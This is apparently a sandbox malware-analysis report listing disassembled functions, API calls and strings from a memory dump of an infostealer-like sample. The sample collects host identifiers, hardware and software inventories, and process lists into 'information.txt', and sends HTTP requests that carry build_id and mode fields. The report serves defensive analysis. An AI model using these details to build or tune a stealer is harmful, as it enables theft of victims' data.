InternetCloseHandle.WININET(00000000), ref: 004066ED
InternetCloseHandle.WININET(?), ref: 004066F9
InternetCloseHandle.WININET(?), ref: 00406705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Strings

", xrefs: 00406445
", xrefs: 004065A1
------, xrefs: 00406367
"yA, xrefs: 004067D8
build_id, xrefs: 00406419
------, xrefs: 00406080
------, xrefs: 004064C9
------, xrefs: 00406206
", xrefs: 004062E5
4a5bc8b73e12425adc3c399da8136891, xrefs: 00406471
mode, xrefs: 00406575

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$"yA$------$------$------$------$4a5bc8b73e12425adc3c399da8136891$build_id$mode
API String ID: 3702379033-1740868940
Opcode ID: b9e6a25d9bf2b2f3ca19f67cccbb907a00b476f3120e9f86b5629d953a9ab4a2
Instruction ID: 9e441524b674e8c4d1f55b2c9efffc7332bfc37f13668675a8e156f306295e1d
Opcode Fuzzy Hash: b9e6a25d9bf2b2f3ca19f67cccbb907a00b476f3120e9f86b5629d953a9ab4a2
Instruction Fuzzy Hash: C822A5719001699BCF21EB61CD46BCDB775AF08748F0184E7A64D73162CAB86FCA8F58

Function 00413BC6 Relevance: 49.7, APIs: 2, Strings: 26, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Part of subcall function 00410C95: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CAD
Part of subcall function 00410C95: HeapAlloc.KERNEL32(00000000), ref: 00410CB4
Part of subcall function 00410C95: GetLocalTime.KERNEL32(?), ref: 00410CC0
Part of subcall function 00410C95: wsprintfA.USER32 ref: 00410CEB

Part of subcall function 004115A9: _memset.LIBCMT ref: 004115DC
Part of subcall function 004115A9: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 004115FB
Part of subcall function 004115A9: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 00411620
Part of subcall function 004115A9: RegCloseKey.ADVAPI32(?,?,?,?), ref: 0041162C
Part of subcall function 004115A9: CharToOemA.USER32(?,?), ref: 00411640

Part of subcall function 00411659: GetCurrentHwProfileA.ADVAPI32(?), ref: 00411674
Part of subcall function 00411659: _memset.LIBCMT ref: 004116A3
Part of subcall function 00411659: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116CB
Part of subcall function 00411659: lstrcatA.KERNEL32(?,00436ED4,?,?,?,?,?), ref: 004116E8

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 00410977: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109AA
Part of subcall function 00410977: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 004109EA
Part of subcall function 00410977: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A3F
Part of subcall function 00410977: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A46

GetCurrentProcessId.KERNEL32(Path: ,00436884,HWID: ,00436878,GUID: ,0043686C,00000000,MachineID: ,0043685C,00000000,Date: ,00436850,0043684C,11.1,Version: ,004365B6), ref: 00413E1B

Part of subcall function 0041221F: OpenProcess.KERNEL32(00000410,00000000,*>A,00000000,?), ref: 00412241
Part of subcall function 0041221F: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0041225C
Part of subcall function 0041221F: CloseHandle.KERNEL32(00000000), ref: 00412263

Part of subcall function 00410B05: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413ED5,Windows: ,004368A8), ref: 00410B19
Part of subcall function 00410B05: HeapAlloc.KERNEL32(00000000,?,?,?,00413ED5,Windows: ,004368A8), ref: 00410B20

Part of subcall function 004117DC: __EH_prolog3_catch_GS.LIBCMT ref: 004117E3
Part of subcall function 004117DC: CoInitializeEx.OLE32(00000000,00000000,0000004C,00413F39,Install Date: ,004368B8,00000000,Windows: ,004368A8,Work Dir: In memory,00436890), ref: 004117F4
Part of subcall function 004117DC: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411805
Part of subcall function 004117DC: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041181F
Part of subcall function 004117DC: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411855
Part of subcall function 004117DC: VariantInit.OLEAUT32(?), ref: 004118B0

Part of subcall function 0041196C: __EH_prolog3_catch.LIBCMT ref: 00411973
Part of subcall function 0041196C: CoInitializeEx.OLE32(00000000,00000000,00000030,00413FA7,?,AV: ,004368CC,Install Date: ,004368B8,00000000,Windows: ,004368A8,Work Dir: In memory,00436890), ref: 00411982
Part of subcall function 0041196C: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411993
Part of subcall function 0041196C: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119AD
Part of subcall function 0041196C: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 004119E3
Part of subcall function 0041196C: VariantInit.OLEAUT32(?), ref: 00411A32

Part of subcall function 00410C5A: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C66
Part of subcall function 00410C5A: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C6D
Part of subcall function 00410C5A: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410C81

Part of subcall function 00410C28: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C34
Part of subcall function 00410C28: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C3B
Part of subcall function 00410C28: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C4F

Part of subcall function 00411538: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 0041154A
Part of subcall function 00411538: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411555
Part of subcall function 00411538: GetDeviceCaps.GDI32(00000000,0000000A), ref: 00411560
Part of subcall function 00411538: ReleaseDC.USER32(00000000,00000000), ref: 0041156B
Part of subcall function 00411538: GetProcessHeap.KERNEL32(00000000,00000104,?,?,004140D8,?,Display Resolution: ,004368FC,00000000,User Name: ,004368EC,00000000,Computer Name: ,004368D8,AV: ,004368CC), ref: 00411577
Part of subcall function 00411538: HeapAlloc.KERNEL32(00000000,?,?,004140D8,?,Display Resolution: ,004368FC,00000000,User Name: ,004368EC,00000000,Computer Name: ,004368D8,AV: ,004368CC,Install Date: ), ref: 0041157E
Part of subcall function 00411538: wsprintfA.USER32 ref: 00411590

Part of subcall function 00410DB0: GetKeyboardLayoutList.USER32(00000000,00000000,0043670A,?,?), ref: 00410DE1
Part of subcall function 00410DB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410DEF
Part of subcall function 00410DB0: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410DFD
Part of subcall function 00410DB0: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E2C
Part of subcall function 00410DB0: LocalFree.KERNEL32(00000000), ref: 00410ED4

Part of subcall function 00410D03: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D1E
Part of subcall function 00410D03: HeapAlloc.KERNEL32(00000000), ref: 00410D25
Part of subcall function 00410D03: GetTimeZoneInformation.KERNEL32(?), ref: 00410D34
Part of subcall function 00410D03: wsprintfA.USER32 ref: 00410D52

Part of subcall function 00410F26: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414292,Processor: ,[Hardware],00436958,00000000,TimeZone: ,00436948,00000000,Local Time: ,00436934), ref: 00410F3A
Part of subcall function 00410F26: HeapAlloc.KERNEL32(00000000,?,?,?,00414292,Processor: ,[Hardware],00436958,00000000,TimeZone: ,00436948,00000000,Local Time: ,00436934,Keyboard Languages: ,00436918), ref: 00410F41
Part of subcall function 00410F26: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436890,?,?,?,00414292,Processor: ,[Hardware],00436958,00000000,TimeZone: ,00436948,00000000,Local Time: ), ref: 00410F5F
Part of subcall function 00410F26: RegQueryValueExA.KERNEL32(00436890,00000000,00000000,00000000,000000FF,?,?,?,00414292,Processor: ,[Hardware],00436958,00000000,TimeZone: ,00436948,00000000), ref: 00410F7B
Part of subcall function 00410F26: RegCloseKey.ADVAPI32(00436890,?,?,?,00414292,Processor: ,[Hardware],00436958,00000000,TimeZone: ,00436948,00000000,Local Time: ,00436934,Keyboard Languages: ,00436918), ref: 00410F84

Part of subcall function 00410FDC: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 00411052
Part of subcall function 00410FDC: wsprintfA.USER32 ref: 004110B0

Part of subcall function 00410F8F: GetSystemInfo.KERNEL32(?), ref: 00410FA9
Part of subcall function 00410F8F: wsprintfA.USER32 ref: 00410FC1

Part of subcall function 004110EE: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436918,Display Resolution: ,004368FC,00000000,User Name: ,004368EC,00000000,Computer Name: ,004368D8,AV: ,004368CC,Install Date: ), ref: 00411106
Part of subcall function 004110EE: HeapAlloc.KERNEL32(00000000), ref: 0041110D
Part of subcall function 004110EE: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411129
Part of subcall function 004110EE: wsprintfA.USER32 ref: 0041114F

Part of subcall function 00411167: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004111BE

Part of subcall function 0041147A: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0043670F,?,?), ref: 004114A9
Part of subcall function 0041147A: Process32First.KERNEL32(00000000,00000128), ref: 004114B9
Part of subcall function 0041147A: Process32Next.KERNEL32(00000000,00000128), ref: 00411517
Part of subcall function 0041147A: CloseHandle.KERNEL32(00000000), ref: 00411522

Part of subcall function 004111D8: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670E,00000000,?,?), ref: 00411248
Part of subcall function 004111D8: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00411285
Part of subcall function 004111D8: wsprintfA.USER32 ref: 004112B2
Part of subcall function 004111D8: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112D1
Part of subcall function 004111D8: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411307
Part of subcall function 004111D8: lstrlenA.KERNEL32(?), ref: 0041131C

Part of subcall function 004111D8: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E94), ref: 004113B1
Part of subcall function 004111D8: RegCloseKey.ADVAPI32(?), ref: 0041141B
Part of subcall function 004111D8: RegCloseKey.ADVAPI32(?), ref: 00411447

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,00436918,Display Resolution: ,004368FC,00000000,User Name: ,004368EC,00000000), ref: 004145A3

Part of subcall function 00417023: CreateThread.KERNEL32(00000000,00000000,00416F52,?,00000000,00000000), ref: 004170C2
Part of subcall function 00417023: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 004170CA

Strings

[Hardware], xrefs: 0041424D
Display Resolution: , xrefs: 004140AF
Threads: , xrefs: 0041432F
Windows: , xrefs: 00413EB0
AV: , xrefs: 00413F7E
Path: , xrefs: 00413DFB
MachineID: , xrefs: 00413CC0
RAM: , xrefs: 00414390
11.1, xrefs: 00413BFF
information.txt, xrefs: 004145B3
VideoCard: , xrefs: 004143F7
Date: , xrefs: 00413C5F
GUID: , xrefs: 00413D21
Work Dir: In memory, xrefs: 00413E70
[Software], xrefs: 004144E3
Computer Name: , xrefs: 00413FED
Install Date: , xrefs: 00413F11
Local Time: , xrefs: 0041418B
[Processes], xrefs: 0041446A
User Name: , xrefs: 0041404E
Keyboard Languages: , xrefs: 0041411E
TimeZone: , xrefs: 004141EC
Cores: , xrefs: 004142CE
Version: , xrefs: 00413BDF
Processor: , xrefs: 0041426D
HWID: , xrefs: 00413D8E

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$Close$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$BlanketCapsCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$AllocateCharComputerDevicesDirectoryDisplayFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: 11.1$AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 3634126619-3666103263
Opcode ID: 0ca69ee708f7a4405009bdefc3c3dcdb5552b6acb5a2487c1b93f6dde74c051f
Instruction ID: ebe56e845d6c527f880e10713f64c5926fb5ad5a73effd773645c7a8815a02d5
Opcode Fuzzy Hash: 0ca69ee708f7a4405009bdefc3c3dcdb5552b6acb5a2487c1b93f6dde74c051f
Instruction Fuzzy Hash: DA526971D0001EABCF01FBA1DD429CDB775AF04748F51816AA611771A2DBB87ECA8F98

Function 004187CF Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00418810
GetProcAddress.KERNEL32 ref: 00418827
GetProcAddress.KERNEL32 ref: 0041883E
GetProcAddress.KERNEL32 ref: 00418855
GetProcAddress.KERNEL32 ref: 0041886C
GetProcAddress.KERNEL32 ref: 00418883
GetProcAddress.KERNEL32 ref: 0041889A
GetProcAddress.KERNEL32 ref: 004188B1
GetProcAddress.KERNEL32 ref: 004188C8
GetProcAddress.KERNEL32 ref: 004188DF
GetProcAddress.KERNEL32 ref: 004188F6
GetProcAddress.KERNEL32 ref: 0041890D
GetProcAddress.KERNEL32 ref: 00418924
GetProcAddress.KERNEL32 ref: 0041893B
GetProcAddress.KERNEL32 ref: 00418952
GetProcAddress.KERNEL32 ref: 00418969
GetProcAddress.KERNEL32 ref: 00418980
GetProcAddress.KERNEL32 ref: 00418997
GetProcAddress.KERNEL32 ref: 004189AE
GetProcAddress.KERNEL32 ref: 004189C5
LoadLibraryA.KERNEL32(?,0041864E), ref: 004189D6
LoadLibraryA.KERNEL32(?,0041864E), ref: 004189E7
LoadLibraryA.KERNEL32(?,0041864E), ref: 004189F8
LoadLibraryA.KERNEL32(?,0041864E), ref: 00418A09
LoadLibraryA.KERNEL32(?,0041864E), ref: 00418A1A
GetProcAddress.KERNEL32(75A70000,0041864E), ref: 00418A36
GetProcAddress.KERNEL32(75290000,0041864E), ref: 00418A51
GetProcAddress.KERNEL32 ref: 00418A68
GetProcAddress.KERNEL32(75BD0000,0041864E), ref: 00418A83
GetProcAddress.KERNEL32(75450000,0041864E), ref: 00418A9E
GetProcAddress.KERNEL32(76E90000,0041864E), ref: 00418AB9
GetProcAddress.KERNEL32 ref: 00418AD0

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 2c44779aabef87b9581270847a68ffa4337e3578c553800efa12b6905948f0f3
Instruction ID: b7ea1294fc7bb67f071b81b027119134029a8d5aa356f85c21b5f13a268287ef
Opcode Fuzzy Hash: 2c44779aabef87b9581270847a68ffa4337e3578c553800efa12b6905948f0f3
Instruction Fuzzy Hash: BF711A75911322AFDF1ADFA0FD4A8243AABFB08203F11B526E91982274D7774B60DF15

Function 004169F8 Relevance: 45.8, APIs: 10, Strings: 16, Instructions: 331
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041051E: lstrlenA.KERNEL32(?,?,00417300,004366BE,004366BB,?,?,?,?,0041871B), ref: 00410524
Part of subcall function 0041051E: lstrcpyA.KERNEL32(00000000,00000000,?,00417300,004366BE,004366BB,?,?,?,?,0041871B), ref: 00410556

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 00416908: StrCmpCA.SHLWAPI(?,ERROR), ref: 0041695C
Part of subcall function 00416908: lstrlenA.KERNEL32(?), ref: 00416967
Part of subcall function 00416908: StrStrA.SHLWAPI(00000000,?), ref: 0041697C
Part of subcall function 00416908: lstrlenA.KERNEL32(?), ref: 0041698B
Part of subcall function 00416908: lstrlenA.KERNEL32(00000000), ref: 004169A4

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AE2
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B3B
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B9B
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BF4
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C54
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416CAD
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416CC3

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00416880: StrCmpCA.SHLWAPI(?,ERROR), ref: 004168B5

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416D23
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416D7C
Sleep.KERNEL32(0000EA60), ref: 00416D8B

Strings

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416DA1
ERROR, xrefs: 00416D74
ERROR, xrefs: 00416C4C
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416E3A
ERROR, xrefs: 00416CBB
sql.dll, xrefs: 00416E8A
ERROR, xrefs: 00416ADA
sqlp.dll, xrefs: 00416E59
ERROR, xrefs: 00416D1B
ERROR, xrefs: 00416B93
ERROR, xrefs: 00416B33
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416E09
ERROR, xrefs: 00416CA5
sqlp.dll, xrefs: 00416DC0
sqlp.dll, xrefs: 00416E28
ERROR, xrefs: 00416BEC

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$sql.dll$sqlp.dll$sqlp.dll$sqlp.dll
API String ID: 507064821-4224206380
Opcode ID: bb8b5c372840cb7a8fa14a528d1cd8c2fb6c926bf6f8705950d9a8f153c64bfd
Instruction ID: c96905e032ea58ce99b70598aea186164cafeb2dddef774f4f0125fc679c1448
Opcode Fuzzy Hash: bb8b5c372840cb7a8fa14a528d1cd8c2fb6c926bf6f8705950d9a8f153c64bfd
Instruction Fuzzy Hash: 2FC15C71E40218ABCF10FB65DD47ACC7735AF04748F51806AF905B7192DB78AE8A8B8D

Function 00408853 Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 389
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041076A: StrCmpCA.SHLWAPI(?,?,?,0040886E,?,?,?), ref: 00410773

CopyFileA.KERNEL32(?,?,00000001), ref: 0040894C

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00412285: _memset.LIBCMT ref: 004122AC
Part of subcall function 00412285: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 00412352
Part of subcall function 00412285: TerminateProcess.KERNEL32(00000000,00000000), ref: 00412360
Part of subcall function 00412285: CloseHandle.KERNEL32(00000000), ref: 00412367

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408AB1
RtlAllocateHeap.NTDLL(00000000), ref: 00408AB8
StrCmpCA.SHLWAPI(?,ERROR_V128), ref: 00408BA2
StrCmpCA.SHLWAPI(?,004371E0), ref: 00408BBB
StrCmpCA.SHLWAPI(?,004371E4), ref: 00408BE3
lstrlenA.KERNEL32(?), ref: 00408D03
lstrlenA.KERNEL32(?), ref: 00408D1E

Part of subcall function 00417023: CreateThread.KERNEL32(00000000,00000000,00416F52,?,00000000,00000000), ref: 004170C2
Part of subcall function 00417023: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 004170CA

DeleteFileA.KERNEL32(?), ref: 00408D61

Strings

ERROR_V128, xrefs: 00408B9A

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_V128
API String ID: 2819533921-2537946777
Opcode ID: d425d5c11306358bd346e746c911d84a512bf20431e999cad96ff7e989aefb2b
Instruction ID: 3a606cbdd3e2521ff2ee130744cd68fffe80a480428377c0373a89dce18687d0
Opcode Fuzzy Hash: d425d5c11306358bd346e746c911d84a512bf20431e999cad96ff7e989aefb2b
Instruction Fuzzy Hash: 83E12E72D00209ABCF11FFA1ED469DD7B76AF04305F20502AF551B31A2DBB96E869F48

